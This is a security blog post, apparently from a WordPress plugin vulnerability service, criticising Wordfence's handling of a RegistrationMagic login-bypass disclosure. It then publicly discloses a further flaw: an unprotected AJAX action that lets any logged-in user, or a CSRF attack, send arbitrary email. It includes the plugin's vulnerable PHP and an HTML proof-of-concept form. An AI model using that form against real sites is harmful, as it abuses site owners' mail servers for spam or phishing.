Yesterday the WordPress focused security company Wordfence disclosed a fixed vulnerability in the WordPress plugin RegistrationMagic. The vulnerability sounds concerning:

This flaw made it possible for unauthenticated attackers to login as any user, including administrative users, on an affected site as long as a valid username or email address was known to the attacker and a login form created with the plugin existed on the site.

What sounds a lot more concerning is the response by the developer:

We sent the full disclosure details on September 16, 2021, after the developer confirmed the appropriate channel to handle communications. On September 25, 2021, their team replied indicating that the issue was resolved, which unfortunately was not the case. We continued to work with them to get the issue fixed. The release of plugin version 5.0.1.6 on November 1, 2021 addressed the problem but did not result in a full fix. After informing the WordPress plugins team of this vulnerability, we continued to follow up with both teams to make sure a patched version would be released. The vulnerability has been fully fixed as of version 5.0.1.8 released on November 25, 2021.

A reasonable takeaway from that would be to stop using the plugin. That wasn’t Wordfence’s. As we will get to in a moment, that looks like a good idea based on how insecure the plugin still is.

Instead, it was, in part, to suggest updating the plugin:

We strongly recommend ensuring that your site has been updated to the latest patched version of “RegistrationMagic – Custom Registration Forms, User Registration and User Login Plugin,” which is version 5.0.1.8 at the time of this publication.

A much better suggestion would be to keep your plugins update at all times, seeing as they are suggesting updating one plugin well after a security fix was released. (The better suggestion would have protected a lot of websites from being hacked because of another plugin’s vulnerability just yesterday.)

The lack of that suggestion might have something to do with them being more interested in getting people to come to their website instead of having WordPress websites be secure as possible:

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as this is a serious vulnerability that can lead to complete site takeover.

Another of their takeaways was not to focus on using secure plugins, but instead trying to hide something that isn’t meant to be a secret, usernames:

In WordPress it can be relatively easy to enumerate usernames if security measures have not been put in place, like using the option to “Prevent discovery of usernames through ‘/?author=N’ scans, the oEmbed API, the WordPress REST API, and WordPress XML Sitemaps” in Wordfence. In addition, if a vulnerable site was running with a default or easy to guess administrative username like ‘admin’ or ‘administrator’ then it would be incredibly easy for an attacker to successfully exploit this to gain administrative access.

This serves as an important reminder to not use default usernames for administrative accounts and ensure that you have username enumeration protection in place so vulnerabilities like this become harder for attackers to exploit.

Two months ago, a similar vulnerability in another plugin was disclosed. That one didn’t require the knowing the username of the user to exploit. (Incidentally, Wordfence’s plugin and paid service didn’t protect against that in a timely manner.)

Avoiding plugins that are known to have developers that are not handling security properly is lot a better idea than trying to work around that. This plugin seems to have that type of developer.

Insecure AJAX Actions

Based on what Wordfence mentioned there about an insecure AJAX action, we wondered if there might be more issues with those. Not only is pretty common for there to additional issues, it turns out that security companies often neglect to make sure that other have been secured when putting out a report like this, as we found a month ago involving Automattic.

That turned out to be the case here, as at a glance we found that many AJAX actions look to be lacking basic security checks. As an example of that, we found anyone logged in to WordPress can send out email through the website. Considering that this is a registration plugin, untrusted individuals likely have access to accounts on many websites using the plugin.

The plugin registers the function check_wordpress_default_mail() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

156

$this->loader->add_action('wp_ajax_rm_test_wordpress_default_mail', 'RM_Utilities', 'check_wordpress_default_mail');

The function doesn’t do any security checks before sending out an email with the to, from, and message specified with user input:

855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871

public static function check_wordpress_default_mail() {
 
	$options = new RM_Options;
 
	$bckup = $options->get_all_options();
 
	$to = isset($_POST['test_email']) ? sanitize_email($_POST['test_email']) : null;
	$message = isset($_POST['message']) ? wp_kses_post($_POST['message']) : null;
	$from = isset($_POST['From']) ? sanitize_email($_POST['From']) : null;
	$headers = "From:" . $from;
 
	if (!$to) {
		echo 'blank_email ' . RM_UI_Strings::get('LABEL_WORDPRESS_DEFAULT_EMAIL_REQUIRED_MESSAGE');
 
		die;
	}
	if (wp_mail($to, __('Test Mail','custom-registration-form-builder-with-submission-manager'), $message, $headers)) {

This could also be exploited through cross-site request forgery (CSRF).

Not only did Wordfence not even note the additional insecurity in the plugin, but the WordPress plugin team appears to have missed it as well when they were brought in.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will send an email to the specified address.

Make sure to replace “[path to WordPress]” with the location of WordPress and the other fields with relevant values.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rm_test_wordpress_default_mail"  method="POST">
<input type="hidden" name="test_email" value="[to address]" />
<input type="hidden" name="message" value="[message]" />
<input type="hidden" name="from" value="[from address]" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?